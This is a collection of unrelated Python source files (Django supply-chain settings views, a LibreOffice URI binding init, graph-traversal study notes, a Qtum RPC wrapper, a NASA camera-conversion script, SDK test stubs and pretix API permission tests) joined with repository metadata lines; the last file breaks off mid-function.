import copy import json from django.contrib import messages from django.http import Http404, HttpResponseBadRequest, HttpResponseRedirect from django.urls import reverse from django.utils.decorators import method_decorator from django.utils.translation import ugettext as _ from django.utils.translation import ugettext_noop from memoized import memoized from casexml.apps.stock.models import StockTransaction from corehq import toggles from corehq.apps.commtrack.const import SUPPLY_POINT_CASE_TYPE from corehq.apps.commtrack.processing import ( plan_rebuild_stock_state, rebuild_stock_state, ) from corehq.apps.domain.decorators import domain_admin_required from corehq.apps.domain.views.base import BaseDomainView from corehq.apps.hqwebapp.decorators import use_jquery_ui from corehq.apps.hqwebapp.doc_info import get_doc_info_by_id from corehq.apps.locations.models import LocationType, SQLLocation from corehq.form_processor.exceptions import XFormNotFound from corehq.form_processor.interfaces.dbaccessors import FormAccessors from corehq.util.timezones.conversions import ServerTime from .forms import CommTrackSettingsForm, ConsumptionForm, StockLevelsForm from .models import CommtrackActionConfig, StockRestoreConfig from .tasks import recalculate_domain_consumption_task from .util import all_sms_codes @domain_admin_required def default(request, domain): if not (request.project and request.project.commtrack_enabled): raise Http404() return HttpResponseRedirect(default_commtrack_url(domain)) def default_commtrack_url(domain): from corehq.apps.products.views import ProductListView return reverse(ProductListView.urlname, args=[domain]) class BaseCommTrackManageView(BaseDomainView): section_name = ugettext_noop("Setup") @property def section_url(self): return reverse('default_commtrack_setup', args=[self.domain]) def get(self, *args, **kwargs): if self.domain_object.commtrack_settings is None: raise Http404() return super(BaseCommTrackManageView, self).get(*args, **kwargs) @method_decorator(domain_admin_required) # TODO: will probably want less restrictive permission? def dispatch(self, request, *args, **kwargs): return super(BaseCommTrackManageView, self).dispatch(request, *args, **kwargs) class CommTrackSettingsView(BaseCommTrackManageView): urlname = 'commtrack_settings' page_title = ugettext_noop("Advanced Settings") template_name = 'domain/admin/commtrack_settings.html' @property @memoized def commtrack_settings(self): return self.domain_object.commtrack_settings @property def page_context(self): return { 'form': self.commtrack_settings_form } @property @memoized def commtrack_settings_form(self): initial = self.commtrack_settings.to_json() initial.update(dict(('consumption_' + k, v) for k, v in self.commtrack_settings.consumption_config.to_json().items())) initial.update(dict(('stock_' + k, v) for k, v in self.commtrack_settings.stock_levels_config.to_json().items())) if self.request.method == 'POST': return CommTrackSettingsForm(self.request.POST, initial=initial, domain=self.domain) return CommTrackSettingsForm(initial=initial, domain=self.domain) def set_ota_restore_config(self): """ If the checkbox for syncing consumption fixtures is checked, then we build the restore config with appropriate special properties, otherwise just clear the object. If there becomes a way to tweak these on the UI, this should be done differently. """ if self.commtrack_settings.sync_consumption_fixtures: self.domain_object.commtrack_settings.ota_restore_config = StockRestoreConfig( section_to_consumption_types={ 'stock': 'consumption' }, force_consumption_case_types=[ SUPPLY_POINT_CASE_TYPE ], use_dynamic_product_list=True, ) else: self.domain_object.commtrack_settings.ota_restore_config = StockRestoreConfig() def post(self, request, *args, **kwargs): if self.commtrack_settings_form.is_valid(): data = self.commtrack_settings_form.cleaned_data previous_config = copy.copy(self.commtrack_settings) self.commtrack_settings.use_auto_consumption = bool(data.get('use_auto_consumption')) self.commtrack_settings.sync_consumption_fixtures = bool(data.get('sync_consumption_fixtures')) self.commtrack_settings.individual_consumption_defaults = bool(data.get('individual_consumption_defaults')) self.set_ota_restore_config() fields = ('emergency_level', 'understock_threshold', 'overstock_threshold') for field in fields: if data.get('stock_' + field): setattr(self.commtrack_settings.stock_levels_config, field, data['stock_' + field]) consumption_fields = ('min_transactions', 'min_window', 'optimal_window') for field in consumption_fields: if data.get('consumption_' + field): setattr(self.commtrack_settings.consumption_config, field, data['consumption_' + field]) self.commtrack_settings.save() for loc_type in LocationType.objects.filter(domain=self.domain).all(): # This will update stock levels based on commtrack config loc_type.save() if (previous_config.use_auto_consumption != self.commtrack_settings.use_auto_consumption or previous_config.consumption_config.to_json() != self.commtrack_settings.consumption_config.to_json() ): # kick off delayed consumption rebuild recalculate_domain_consumption_task.delay(self.domain) messages.success(request, _("Settings updated! Your updated consumption settings may take a " "few minutes to show up in reports and on phones.")) else: messages.success(request, _("Settings updated!")) return HttpResponseRedirect(self.page_url) return self.get(request, *args, **kwargs) class DefaultConsumptionView(BaseCommTrackManageView): urlname = 'update_default_consumption' template_name = 'commtrack/manage/default_consumption.html' page_title = ugettext_noop("Consumption") @property @memoized def consumption_form(self): if self.request.method == 'POST': return ConsumptionForm(self.domain, self.request.POST) return ConsumptionForm(self.domain) @property def page_context(self): return { 'form': self.consumption_form, } def post(self, request, *args, **kwargs): if self.consumption_form.is_valid(): self.consumption_form.save() messages.success(request, _("Default consumption values updated")) return HttpResponseRedirect( reverse(DefaultConsumptionView.urlname, args=[self.domain]) ) return self.get(request, *args, **kwargs) class SMSSettingsView(BaseCommTrackManageView): urlname = 'commtrack_sms_settings' page_title = ugettext_noop("SMS") template_name = 'domain/admin/sms_settings.html' @property def page_context(self): return { 'other_sms_codes': dict(self.get_other_sms_codes()), 'settings': self.settings_context, } @property def settings_context(self): return { 'actions': [self._get_action_info(a) for a in self.domain_object.commtrack_settings.actions], } # FIXME def _get_action_info(self, action): return { 'type': action.action, 'keyword': action.keyword, 'name': action.subaction, 'caption': action.caption, } def get_other_sms_codes(self): for k, v in all_sms_codes(self.domain).items(): if v[0] == 'product': yield (k, (v[0], v[1].name)) def post(self, request, *args, **kwargs): payload = json.loads(request.POST.get('json')) def mk_action(action): return CommtrackActionConfig(**{ 'action': action['type'], 'subaction': action['caption'], 'keyword': action['keyword'], 'caption': action['caption'], }) # TODO add server-side input validation here (currently validated on client) self.domain_object.commtrack_settings.actions = [mk_action(a) for a in payload['actions']] self.domain_object.commtrack_settings.save() return self.get(request, *args, **kwargs) @use_jquery_ui def dispatch(self, request, *args, **kwargs): return super(SMSSettingsView, self).dispatch(request, *args, **kwargs) class StockLevelsView(BaseCommTrackManageView): urlname = 'stock_levels' page_title = ugettext_noop("Stock Levels") template_name = 'commtrack/manage/stock_levels.html' @method_decorator(toggles.LOCATION_TYPE_STOCK_RATES.required_decorator()) def dispatch(self, *args, **kwargs): return super(StockLevelsView, self).dispatch(*args, **kwargs) def get_existing_stock_levels(self): loc_types = LocationType.objects.by_domain(self.domain) return [{ 'loc_type': loc_type.name, 'emergency_level': loc_type.emergency_level, 'understock_threshold': loc_type.understock_threshold, 'overstock_threshold': loc_type.overstock_threshold, } for loc_type in loc_types] def save_stock_levels(self, levels): """ Accepts a list of dicts of the form returned by get_existing_stock_levels and writes to the appropriate LocationType """ levels = {level['loc_type']: level for level in levels} for loc_type in LocationType.objects.filter(domain=self.domain).all(): if loc_type.name not in levels: continue stock_levels = levels[loc_type.name] changed = False for threshold in [ 'emergency_level', 'understock_threshold', 'overstock_threshold' ]: if getattr(loc_type, threshold) != stock_levels[threshold]: setattr(loc_type, threshold, stock_levels[threshold]) changed = True if changed: loc_type.save() @property def page_context(self): return { 'stock_levels_form': self.stock_levels_form } @property @memoized def stock_levels_form(self): if self.request.method == "POST": data = self.request.POST else: data = self.get_existing_stock_levels() return StockLevelsForm(data, request=self.request) def post(self, request, *args, **kwargs): if self.stock_levels_form.is_valid(): self.save_stock_levels(self.stock_levels_form.cleaned_data) return HttpResponseRedirect(self.page_url) # TODO display error messages to the user... return self.get(request, *args, **kwargs) class RebuildStockStateView(BaseCommTrackManageView): urlname = 'rebuild_stock_state' page_title = ugettext_noop("Rebuild Stock State") template_name = 'commtrack/manage/rebuild_stock_state.html' @memoized def get_server_date_by_form_id(self, form_id): try: server_date = FormAccessors(self.domain).get_form(form_id).received_on except XFormNotFound: return None else: return ServerTime(server_date).ui_string() def _get_selected_case_id(self): location_id = self.request.GET.get('location_id') if location_id: try: return (SQLLocation.objects .get(domain=self.domain, location_id=location_id) .supply_point_id) except SQLLocation.DoesNotExist: messages.error(self.request, 'Your location id did not match a location') @property def page_context(self, **kwargs): stock_state_limit = int(self.request.GET.get('stock_state_limit', 100)) stock_transaction_limit = int(self.request.GET.get('stock_transaction_limit', 1000)) stock_state_limit_exceeded = False stock_transaction_limit_exceeded = False query = StockTransaction.objects.filter(report__domain=self.domain) selected_case_id = self._get_selected_case_id() if selected_case_id: query = query.filter(case_id=selected_case_id) selected_product_id = self.request.GET.get('product_id') if selected_product_id: query = query.filter(product_id=selected_product_id) stock_state_keys = [ (txn.case_id, txn.section_id, txn.product_id) for txn in query .order_by('case_id', 'section_id', 'product_id') .distinct('case_id', 'section_id', 'product_id') [:stock_state_limit] ] if len(stock_state_keys) >= stock_state_limit: stock_state_limit_exceeded = True actions_by_stock_state_key = [] stock_transaction_count = 0 for stock_state_key in stock_state_keys: actions = self.get_actions_by_stock_state_key(*stock_state_key) stock_transaction_count += len(actions[1]) if stock_transaction_count > stock_transaction_limit: stock_transaction_limit_exceeded = True break actions_by_stock_state_key.append(actions) assert len(set(stock_state_keys)) == len(stock_state_keys) return { 'actions_by_stock_state_key': actions_by_stock_state_key, 'stock_state_limit_exceeded': stock_state_limit_exceeded, 'stock_state_limit': stock_state_limit, 'stock_transaction_limit_exceeded': stock_transaction_limit_exceeded, 'stock_transaction_limit': stock_transaction_limit, } def get_actions_by_stock_state_key(self, case_id, section_id, product_id): actions = [ ( action.__class__.__name__, action, self.get_server_date_by_form_id( action.stock_transaction.report.form_id), ) for action in plan_rebuild_stock_state(case_id, section_id, product_id) ] return ( {'case_id': case_id, 'section_id': section_id, 'product_id': product_id}, actions, get_doc_info_by_id(self.domain, case_id) ) def post(self, request, *args, **kwargs): case_id = request.POST.get('case_id') section_id = request.POST.get('section_id') product_id = request.POST.get('product_id') if None in (case_id, section_id, product_id): return HttpResponseBadRequest() rebuild_stock_state(case_id, section_id, product_id) return HttpResponseRedirect('.')

0fed691331ec28b7b1c0a4f324a6a7d490515ab6

py

Python

ooobuild/cssdyn/uri/__init__.py

Amourspirit/ooo_uno_tmpl

64e0c86fd68f24794acc22d63d8d32ae05dd12b8

ooobuild/cssdyn/uri/__init__.py

Amourspirit/ooo_uno_tmpl

64e0c86fd68f24794acc22d63d8d32ae05dd12b8

ooobuild/cssdyn/uri/__init__.py

Amourspirit/ooo_uno_tmpl

64e0c86fd68f24794acc22d63d8d32ae05dd12b8

# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from ...dyn.uri.external_uri_reference_translator import ExternalUriReferenceTranslator as ExternalUriReferenceTranslator from ...dyn.uri.relative_uri_excess_parent_segments import RelativeUriExcessParentSegments as RelativeUriExcessParentSegments from ...dyn.uri.uri_reference_factory import UriReferenceFactory as UriReferenceFactory from ...dyn.uri.uri_scheme_parser_vnd_do_tsun_do_tstar_do_texpand import UriSchemeParser_vndDOTsunDOTstarDOTexpand as UriSchemeParser_vndDOTsunDOTstarDOTexpand from ...dyn.uri.uri_scheme_parser_vnd_do_tsun_do_tstar_do_tscript import UriSchemeParser_vndDOTsunDOTstarDOTscript as UriSchemeParser_vndDOTsunDOTstarDOTscript from ...dyn.uri.vnd_sun_star_pkg_url_reference_factory import VndSunStarPkgUrlReferenceFactory as VndSunStarPkgUrlReferenceFactory from ...dyn.uri.x_external_uri_reference_translator import XExternalUriReferenceTranslator as XExternalUriReferenceTranslator from ...dyn.uri.x_uri_reference import XUriReference as XUriReference from ...dyn.uri.x_uri_reference_factory import XUriReferenceFactory as XUriReferenceFactory from ...dyn.uri.x_uri_scheme_parser import XUriSchemeParser as XUriSchemeParser from ...dyn.uri.x_vnd_sun_star_expand_url import XVndSunStarExpandUrl as XVndSunStarExpandUrl from ...dyn.uri.x_vnd_sun_star_expand_url_reference import XVndSunStarExpandUrlReference as XVndSunStarExpandUrlReference from ...dyn.uri.x_vnd_sun_star_pkg_url_reference_factory import XVndSunStarPkgUrlReferenceFactory as XVndSunStarPkgUrlReferenceFactory from ...dyn.uri.x_vnd_sun_star_script_url import XVndSunStarScriptUrl as XVndSunStarScriptUrl from ...dyn.uri.x_vnd_sun_star_script_url_reference import XVndSunStarScriptUrlReference as XVndSunStarScriptUrlReference

3cfb0239d1bcb7d0709aeb8f5511cdb95f205d48

py

Python

Notes/Sprint3/graphs2.py

mark-morelos/CS_Notes

339c47ae5d7e678b7ac98d6d78857d016c611e38

2021-02-28T07:43:59.000Z

2021-02-28T07:43:59.000Z

Notes/Sprint3/graphs2.py

mark-morelos/CS_Notes

339c47ae5d7e678b7ac98d6d78857d016c611e38

Notes/Sprint3/graphs2.py

mark-morelos/CS_Notes

339c47ae5d7e678b7ac98d6d78857d016c611e38

2021-03-03T03:52:21.000Z

2021-03-03T03:52:21.000Z

# Adjacency Matrix grah_matrix = [ [0,1,0,0,0], [1,0,1,1,1], [0,1,0,1,0], [0,1,1,0,0], [0,1,0,0,0] ] # What are my neigbors for A? # graph_matrix[0] # <- All the neighbors for A # # Is B and C connected? # graph_matrix[1][2] == 1 # return true # # Add connection from A to C # graph_matrix[0][2] = 1 # we have now made a connection from A to C # Adjacency List graph_list = { 'A': {'B'}, 'B': {'C', 'D', 'E'}, 'C': {'D'}, 'D': {}, 'E': {} } # # What are my neighbors for A? # graph_list['A'] # <- the set of all neighbors for A # # Is C and B connected? # 'C' in graph_list['B'] # ? this will return true # # Add connection from A to C # graph_list['A'].add['C'] # Add a new vertex and connect A and C to it graph_list['F'] = {'C'} graph_list['A'].add('F') def print_paths(graph, start_vertex, current_path=[]): current_path.append(start_vertex) # if no neighbors, print the path if len(graph[start_vertex]) == 0: print(current_path) # For each neighbor, call print_paths, with the current_path containing our current_vertex for neighbor in graph[start_vertex]: # make a copy of the path new_path = current_path.copy() print_paths(graph, neighbor, new_path) print_paths(graph_list, "A", [])

fe4089fba1ead6c598bc32577e8b43f0d06dffac

py

Python

pdms/qtum_bridge/R8Blockchain/qtumblockchain.py

chris0203/pmes

97df332b859803e9953f983dda3ca47d4bc35758

pdms/qtum_bridge/R8Blockchain/qtumblockchain.py

chris0203/pmes

97df332b859803e9953f983dda3ca47d4bc35758

pdms/qtum_bridge/R8Blockchain/qtumblockchain.py

chris0203/pmes

97df332b859803e9953f983dda3ca47d4bc35758

from bitcoinrpc.authproxy import AuthServiceProxy from hashlib import sha256 from R8Blockchain.blockchain_handler import BlockchainHandler import codecs import logging class QtumBlockchain(BlockchainHandler): def __init__(self, qtum_rpc): self.qtum_rpc = qtum_rpc self.decode_hex = codecs.getdecoder("hex_codec") self.encode_hex = codecs.getencoder("hex_codec") @classmethod def from_http_provider(cls, http_provider): return cls(AuthServiceProxy(http_provider)) def get_block_count(self): return self.qtum_rpc.getblockcount() def get_balance(self): return self.qtum_rpc.getbalance() def get_last_block_hash(self): return self.qtum_rpc.getbestblockhash() def get_second_last_block_hash(self): return self.get_block_hash(self.get_block_count()-1) def get_block_hash(self, height): return self.qtum_rpc.getblockhash(height) def get_block_id(self, height): block_hash = self.get_block_hash(height) l = sha256(self.decode_hex(block_hash)[0]).hexdigest() r = hex(height) return l[0:10] + r[2:].rjust(10, '0') def get_last_block_id(self): last_block_height = self.get_block_count() return self.get_block_id(last_block_height) def get_second_last_block_id(self): last_block_height = self.get_block_count() - 1 return self.get_block_id(last_block_height) def get_accounts(self): unspent = self.qtum_rpc.listunspent() res = [tx['address'] for tx in unspent] return res def get_unspent(self): unspent = self.qtum_rpc.listunspent() res = {tx['address']: tx['amount'] for tx in unspent} return res def from_hex_address(self, address): return self.qtum_rpc.fromhexaddress(address)

387483e127d508384db2c3e2f97efcfaeda0cefa

py

Python

dense_map/geometry_mapper/tools/cameras_to_texrecon.py

CodeMasterBond/isaac

b21a533cf30eed012fe12ece047b6d87418d7c6f

2021-11-18T19:29:16.000Z

2022-02-23T01:55:51.000Z

dense_map/geometry_mapper/tools/cameras_to_texrecon.py

CodeMasterBond/isaac

b21a533cf30eed012fe12ece047b6d87418d7c6f

2021-11-30T17:14:46.000Z

2022-03-22T21:38:33.000Z

dense_map/geometry_mapper/tools/cameras_to_texrecon.py

CodeMasterBond/isaac

b21a533cf30eed012fe12ece047b6d87418d7c6f

2021-12-03T02:38:21.000Z

2022-02-23T01:52:03.000Z

# Copyright (c) 2021, United States Government, as represented by the # Administrator of the National Aeronautics and Space Administration. # # All rights reserved. # # The "ISAAC - Integrated System for Autonomous and Adaptive Caretaking # platform" software is licensed under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with the # License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # Create camera files that texrecon will understand. import argparse import glob import os import re import sys import numpy as np parser = argparse.ArgumentParser( description="Convert cameras to the format of texrecon." ) parser.add_argument( "--camera_dir", default="", help="The directory containing the camera information (the output of geometry_mapper).", ) parser.add_argument( "--undistorted_image_dir", default="", help="The directory containing the undistorted images.", ) parser.add_argument( "--camera_type", default="", help="The camera type (nav_cam, haz_cam, or sci_cam, etc.).", ) args = parser.parse_args() if args.camera_dir == "" or args.undistorted_image_dir == "" or args.camera_type == "": print( "Must specify the camera directory, directory of undistorted images, and camera type." ) sys.exit(1) # Read the intrinsics intr_file = args.undistorted_image_dir + "/undistorted_intrinsics.txt" if not os.path.exists(intr_file): print("Missing file: " + intr_file) sys.exit(1) with open(intr_file, "r") as f: for line in f: if re.match("^\s*\#", line): continue # ignore the comments vals = line.split() if len(vals) < 5: print("Expecting 5 parameters in " + intr_file) sys.exit(1) widx = float(vals[0]) widy = float(vals[1]) f = float(vals[2]) cx = float(vals[3]) cy = float(vals[4]) max_wid = widx if widy > max_wid: max_wid = widy # normalize nf = f / max_wid ncx = cx / widx ncy = cy / widy d0 = 0.0 d1 = 0.0 paspect = 1.0 break # finished reading the line we care for # Convert the cameras to texrecon's format suffix = "_" + args.camera_type + "_to_world.txt" # Get the cameras to write based on the list of images in the index # We avoid simply doing an ls in that directory to ensure we don't # run into old files index_file = os.path.join(args.camera_dir, args.camera_type + "_index.txt") camera_files = [] with open(index_file, "r") as f: for image_file in f: image_file = image_file.rstrip() image_file = os.path.basename(image_file) m = re.match("^(.*?)\.jpg", image_file) if not m: print("Expecting a .jpg file, but got: " + image_file) in_cam = os.path.join(args.camera_dir, m.group(1) + suffix) camera_files.append(in_cam) out_cam = args.undistorted_image_dir + "/" + os.path.basename(in_cam) m = re.match("^(.*?)" + suffix, out_cam) if not m: print("Could not match desired expression.") sys.exit(1) out_cam = m.group(1) + ".cam" if not os.path.exists(in_cam): print("Cannot find: " + in_cam) sys.exit(1) M = np.loadtxt(in_cam) # camera to world M = np.linalg.inv(M) # world to camera print("Writing: " + out_cam) with open(out_cam, "w") as g: # translation g.write("%0.17g %0.17g %0.17g " % (M[0][3], M[1][3], M[2][3])) # rotation g.write( "%0.17g %0.17g %0.17g %0.17g %0.17g %0.17g %0.17g %0.17g %0.17g\n" % ( M[0][0], M[0][1], M[0][2], M[1][0], M[1][1], M[1][2], M[2][0], M[2][1], M[2][2], ) ) # normaized inrinsics g.write( "%0.17g %0.17g %0.17g %0.17g %0.17g %0.17g\n" % (nf, d0, d1, paspect, ncx, ncy) ) # Save the name of the camera transforms. This will be used later # for individual texturing of each image and camera. camera_list = os.path.join(args.camera_dir, args.camera_type + "_transforms.txt") with open(camera_list, "w") as f: print("Writing: " + camera_list) for camera in camera_files: f.write(camera + "\n")

29d3365891f0cbf8a13be972e1ff6ed0efcdfa12

py

Python

isi_sdk_7_2/test/test_compatibilities_ssd_active_active_item.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

2018-06-22T14:13:23.000Z

2022-03-23T01:21:26.000Z

isi_sdk_7_2/test/test_compatibilities_ssd_active_active_item.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

2018-04-30T13:28:22.000Z

2022-03-21T21:11:07.000Z

isi_sdk_7_2/test/test_compatibilities_ssd_active_active_item.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

2018-06-19T00:14:04.000Z

2022-02-08T17:51:19.000Z

# coding: utf-8 """ Isilon SDK Isilon SDK - Language bindings for the OneFS API # noqa: E501 OpenAPI spec version: 2 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import isi_sdk_7_2 from isi_sdk_7_2.models.compatibilities_ssd_active_active_item import CompatibilitiesSsdActiveActiveItem # noqa: E501 from isi_sdk_7_2.rest import ApiException class TestCompatibilitiesSsdActiveActiveItem(unittest.TestCase): """CompatibilitiesSsdActiveActiveItem unit test stubs""" def setUp(self): pass def tearDown(self): pass def testCompatibilitiesSsdActiveActiveItem(self): """Test CompatibilitiesSsdActiveActiveItem""" # FIXME: construct object with mandatory attributes with example values # model = isi_sdk_7_2.models.compatibilities_ssd_active_active_item.CompatibilitiesSsdActiveActiveItem() # noqa: E501 pass if __name__ == '__main__': unittest.main()

b55efd3bfb834dcd6b46876872e4070f520c902f

py

Python

semantic_release/__init__.py

MattPColeman/python-semantic-release

09af5f11a6134c8711b59a5bcd57c917c0c91b5e

2015-07-27T17:48:25.000Z

2022-03-31T15:48:10.000Z

semantic_release/__init__.py

MattPColeman/python-semantic-release

09af5f11a6134c8711b59a5bcd57c917c0c91b5e

2015-07-27T18:44:52.000Z

2022-03-31T11:38:53.000Z

semantic_release/__init__.py

MattPColeman/python-semantic-release

09af5f11a6134c8711b59a5bcd57c917c0c91b5e

2015-07-28T20:32:52.000Z

2022-03-31T10:45:06.000Z

"""Semantic Release """ __version__ = "7.23.0" from .errors import UnknownCommitMessageStyleError # noqa; noqa from .errors import ImproperConfigurationError, SemanticReleaseBaseError def setup_hook(argv: list): """ A hook to be used in setup.py to enable `python setup.py publish`. :param argv: sys.argv """ if len(argv) > 1 and argv[1] in ["version", "publish", "changelog"]: from .cli import main main()

08f51885f1d5299ca8ae85d211fc75ae5fea7b5b

py

Python

src/tests/api/test_permissions.py

gnomus/pretix

9a9ae3e7807c5fce12adeabf5e2bb81e6b32fb38

src/tests/api/test_permissions.py

gnomus/pretix

9a9ae3e7807c5fce12adeabf5e2bb81e6b32fb38

src/tests/api/test_permissions.py

gnomus/pretix

9a9ae3e7807c5fce12adeabf5e2bb81e6b32fb38

import time import pytest from django.test import override_settings from django.utils.timezone import now from pretix.base.models import Organizer event_urls = [ (None, ''), (None, 'categories/'), ('can_view_orders', 'invoices/'), (None, 'items/'), ('can_view_orders', 'orders/'), ('can_view_orders', 'orderpositions/'), (None, 'questions/'), (None, 'quotas/'), ('can_view_vouchers', 'vouchers/'), (None, 'subevents/'), (None, 'taxrules/'), ('can_view_orders', 'waitinglistentries/'), ('can_view_orders', 'checkinlists/'), ] event_permission_sub_urls = [ ('get', 'can_view_orders', 'orders/', 200), ('get', 'can_view_orders', 'orderpositions/', 200), ('delete', 'can_change_orders', 'orderpositions/1/', 404), ('post', 'can_change_orders', 'orderpositions/1/price_calc/', 404), ('get', 'can_view_vouchers', 'vouchers/', 200), ('get', 'can_view_orders', 'invoices/', 200), ('get', 'can_view_orders', 'invoices/1/', 404), ('post', 'can_change_orders', 'invoices/1/regenerate/', 404), ('post', 'can_change_orders', 'invoices/1/reissue/', 404), ('get', 'can_view_orders', 'waitinglistentries/', 200), ('get', 'can_view_orders', 'waitinglistentries/1/', 404), ('post', 'can_change_orders', 'waitinglistentries/', 400), ('delete', 'can_change_orders', 'waitinglistentries/1/', 404), ('patch', 'can_change_orders', 'waitinglistentries/1/', 404), ('put', 'can_change_orders', 'waitinglistentries/1/', 404), ('post', 'can_change_orders', 'waitinglistentries/1/send_voucher/', 404), ('get', None, 'categories/', 200), ('get', None, 'items/', 200), ('get', None, 'questions/', 200), ('get', None, 'quotas/', 200), ('post', 'can_change_items', 'items/', 400), ('get', None, 'items/1/', 404), ('put', 'can_change_items', 'items/1/', 404), ('patch', 'can_change_items', 'items/1/', 404), ('delete', 'can_change_items', 'items/1/', 404), ('post', 'can_change_items', 'categories/', 400), ('get', None, 'categories/1/', 404), ('put', 'can_change_items', 'categories/1/', 404), ('patch', 'can_change_items', 'categories/1/', 404), ('delete', 'can_change_items', 'categories/1/', 404), ('post', 'can_change_items', 'items/1/variations/', 404), ('get', None, 'items/1/variations/', 404), ('get', None, 'items/1/variations/1/', 404), ('put', 'can_change_items', 'items/1/variations/1/', 404), ('patch', 'can_change_items', 'items/1/variations/1/', 404), ('delete', 'can_change_items', 'items/1/variations/1/', 404), ('get', None, 'items/1/addons/', 404), ('get', None, 'items/1/addons/1/', 404), ('post', 'can_change_items', 'items/1/addons/', 404), ('put', 'can_change_items', 'items/1/addons/1/', 404), ('patch', 'can_change_items', 'items/1/addons/1/', 404), ('delete', 'can_change_items', 'items/1/addons/1/', 404), ('get', None, 'subevents/', 200), ('get', None, 'subevents/1/', 404), ('get', None, 'taxrules/', 200), ('get', None, 'taxrules/1/', 404), ('post', 'can_change_event_settings', 'taxrules/', 400), ('put', 'can_change_event_settings', 'taxrules/1/', 404), ('patch', 'can_change_event_settings', 'taxrules/1/', 404), ('delete', 'can_change_event_settings', 'taxrules/1/', 404), ('get', 'can_view_vouchers', 'vouchers/', 200), ('get', 'can_view_vouchers', 'vouchers/1/', 404), ('post', 'can_change_vouchers', 'vouchers/', 201), ('put', 'can_change_vouchers', 'vouchers/1/', 404), ('patch', 'can_change_vouchers', 'vouchers/1/', 404), ('delete', 'can_change_vouchers', 'vouchers/1/', 404), ('get', None, 'quotas/', 200), ('get', None, 'quotas/1/', 404), ('post', 'can_change_items', 'quotas/', 400), ('put', 'can_change_items', 'quotas/1/', 404), ('patch', 'can_change_items', 'quotas/1/', 404), ('delete', 'can_change_items', 'quotas/1/', 404), ('get', None, 'questions/', 200), ('get', None, 'questions/1/', 404), ('post', 'can_change_items', 'questions/', 400), ('put', 'can_change_items', 'questions/1/', 404), ('patch', 'can_change_items', 'questions/1/', 404), ('delete', 'can_change_items', 'questions/1/', 404), ('get', None, 'questions/1/options/', 404), ('get', None, 'questions/1/options/1/', 404), ('put', 'can_change_items', 'questions/1/options/1/', 404), ('patch', 'can_change_items', 'questions/1/options/1/', 404), ('delete', 'can_change_items', 'questions/1/options/1/', 404), ('post', 'can_change_orders', 'orders/', 400), ('patch', 'can_change_orders', 'orders/ABC12/', 404), ('post', 'can_change_orders', 'orders/ABC12/mark_paid/', 404), ('post', 'can_change_orders', 'orders/ABC12/mark_pending/', 404), ('post', 'can_change_orders', 'orders/ABC12/mark_expired/', 404), ('post', 'can_change_orders', 'orders/ABC12/mark_canceled/', 404), ('post', 'can_change_orders', 'orders/ABC12/approve/', 404), ('post', 'can_change_orders', 'orders/ABC12/deny/', 404), ('post', 'can_change_orders', 'orders/ABC12/extend/', 400), ('post', 'can_change_orders', 'orders/ABC12/create_invoice/', 404), ('post', 'can_change_orders', 'orders/ABC12/resend_link/', 404), ('post', 'can_change_orders', 'orders/ABC12/regenerate_secrets/', 404), ('get', 'can_view_orders', 'orders/ABC12/payments/', 404), ('get', 'can_view_orders', 'orders/ABC12/payments/1/', 404), ('get', 'can_view_orders', 'orders/ABC12/refunds/', 404), ('get', 'can_view_orders', 'orders/ABC12/refunds/1/', 404), ('post', 'can_change_orders', 'orders/ABC12/payments/1/confirm/', 404), ('post', 'can_change_orders', 'orders/ABC12/payments/1/refund/', 404), ('post', 'can_change_orders', 'orders/ABC12/payments/1/cancel/', 404), ('post', 'can_change_orders', 'orders/ABC12/refunds/1/cancel/', 404), ('post', 'can_change_orders', 'orders/ABC12/refunds/1/process/', 404), ('post', 'can_change_orders', 'orders/ABC12/refunds/1/done/', 404), ('get', 'can_view_orders', 'checkinlists/', 200), ('post', 'can_change_event_settings', 'checkinlists/', 400), ('put', 'can_change_event_settings', 'checkinlists/1/', 404), ('patch', 'can_change_event_settings', 'checkinlists/1/', 404), ('delete', 'can_change_event_settings', 'checkinlists/1/', 404), ('post', 'can_create_events', 'clone/', 400), ('get', 'can_view_orders', 'cartpositions/', 200), ('get', 'can_view_orders', 'cartpositions/1/', 404), ('post', 'can_change_orders', 'cartpositions/', 400), ('delete', 'can_change_orders', 'cartpositions/1/', 404), ] org_permission_sub_urls = [ ('get', 'can_change_organizer_settings', 'webhooks/', 200), ('post', 'can_change_organizer_settings', 'webhooks/', 400), ('get', 'can_change_organizer_settings', 'webhooks/1/', 404), ('put', 'can_change_organizer_settings', 'webhooks/1/', 404), ('patch', 'can_change_organizer_settings', 'webhooks/1/', 404), ('delete', 'can_change_organizer_settings', 'webhooks/1/', 404), ('get', 'can_manage_gift_cards', 'giftcards/', 200), ('post', 'can_manage_gift_cards', 'giftcards/', 400), ('get', 'can_manage_gift_cards', 'giftcards/1/', 404), ('put', 'can_manage_gift_cards', 'giftcards/1/', 404), ('patch', 'can_manage_gift_cards', 'giftcards/1/', 404), ] event_permission_root_urls = [ ('post', 'can_create_events', 400), ('put', 'can_change_event_settings', 400), ('patch', 'can_change_event_settings', 200), ('delete', 'can_change_event_settings', 204), ] @pytest.fixture def token_client(client, team): team.can_view_orders = True team.can_view_vouchers = True team.can_change_items = True team.save() t = team.tokens.create(name='Foo') client.credentials(HTTP_AUTHORIZATION='Token ' + t.token) return client @pytest.mark.django_db def test_organizer_allowed(token_client, organizer): resp = token_client.get('/api/v1/organizers/{}/events/'.format(organizer.slug)) assert resp.status_code == 200 @pytest.mark.django_db def test_organizer_not_allowed(token_client, organizer): o2 = Organizer.objects.create(slug='o2', name='Organizer 2') resp = 